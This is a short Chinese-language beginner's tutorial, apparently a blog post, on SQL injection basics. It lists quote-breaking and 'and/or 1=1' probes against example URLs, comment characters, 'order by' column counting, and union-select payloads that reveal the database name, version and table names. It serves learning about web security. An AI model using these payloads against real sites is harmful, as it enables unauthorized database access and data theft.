初步理解SQL注入(二)

单引号” ‘ “的作用

主要是为了匹配SQL语句中的id==’ ** ‘,如:

1
2
3
select xx from xx where id=' 1' or 1=1 --+(或 #) ' //返回此数据库中全部if中含1的数据
select xx from xx where id=' 1' (and 1=) --+(或#) ' //仅返回1条,--+(或 #)是注释的意思。
//如果不注释,页面虽然也会报错,但是仅仅是SQL语句执行错误的报错。而不是发现有SQL注入的错误提示。

and判断与or判断的区别

1
2
3
4
5
6
7
8
1.and判断
http://www.xxx.com/xxx.asp?id=1’and 1=1这个条件是永真的,所以返回是正常页
http://www.xxx.com/xxx.asp?id=1’and 1=2如果报错那说明存在注入漏洞。

2.or判断
or跟and判断方法不一样的,and是提交返回错误才有注入点,而or是提交返回正确有注入点
http://www.xxx.com/xxx.asp?id=1’or 1=1
http://www.xxx.com/xxx.asp?id=1’or 1=2

“- -+(“+”可以是任意一个符号)“与”#”都表示注释符

初始order()函数

1
` order by num #

主要作用是通过修改此函数中的num,不断进行提交,如果num与此数据库的列数不匹配,则会报错。
如:’ order by 3 #

初始union()函数

SQL语句中的联合查询,在SQL注入中有如下作用:

1
2
3
4
5
1、获取数据库的名字以及版本
' union select database(),version() #
2、暂时不知道有什么用
' union select 1,group_concat(table_name) from information_schema.tables #
(写全的话是select aa,bb from xx where id=' ' union select 1,2 from xx # ')